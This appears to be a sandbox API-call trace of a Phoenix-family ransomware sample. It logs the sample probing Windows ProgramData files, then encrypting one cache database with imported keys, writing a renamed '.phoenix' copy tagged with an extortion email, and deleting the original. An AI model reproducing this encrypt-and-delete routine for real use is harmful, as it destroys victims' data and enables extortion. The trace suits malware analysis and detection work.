	[0237.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.284] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.367] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0237.367] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.369] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0237.369] CloseHandle (hObject=0x2d4) returned 1
	[0237.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.404] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0237.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.406] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0237.406] CloseHandle (hObject=0x2d4) returned 1
	[0237.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.894] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0237.895] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.895] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=262144) returned 1
	[0237.896] CloseHandle (hObject=0x2f0) returned 1
	[0237.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0237.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.040] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0238.041] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0238.041] CloseHandle (hObject=0x2c8) returned 1
	[0238.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0238.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0238.058] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0238.058] CloseHandle (hObject=0x2c8) returned 1
	[0238.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0238.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.617] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.617] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.619] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0238.619] CloseHandle (hObject=0x2e4) returned 1
	[0238.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0238.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.715] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.715] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.715] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3593) returned 1
	[0238.715] CloseHandle (hObject=0x2cc) returned 1
	[0238.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0238.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.716] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.717] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1480) returned 1
	[0238.717] CloseHandle (hObject=0x2cc) returned 1
	[0238.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0238.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.devicesflow_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.719] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0238.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0240.998] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1552) returned 1
	[0240.998] CloseHandle (hObject=0x2d8) returned 1
	[0240.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0240.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0240.999] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0240.999] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0240.999] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.000] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0241.000] CloseHandle (hObject=0x2d8) returned 1
	[0241.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db")) returned 0x20
	[0241.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.000] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0241.000] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.000] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0241.000] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0241.001] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.001] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4000, lpOverlapped=0x0) returned 1
	[0241.040] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4010, dwBufLen=0x4010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4010) returned 1
	[0241.040] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4010, lpOverlapped=0x0) returned 1
	[0241.041] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0241.041] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0241.041] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0241.041] CryptDestroyKey (hKey=0x151080) returned 1
	[0241.041] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0241.041] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0241.041] CloseHandle (hObject=0x2d8) returned 1
	[0241.041] CloseHandle (hObject=0x2e8) returned 1
	[0241.041] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.0.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.0.db")) returned 1
	[0241.042] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0241.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0241.042] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1048) returned 1
	[0241.042] CloseHandle (hObject=0x2e8) returned 1
	[0241.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{2A2E4B23-55E7-4066-BF56-40A8C2ACF003}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{2a2e4b23-55e7-4066-bf56-40a8c2acf003}.2.ver0x0000000000000001.db")) returned 0x20
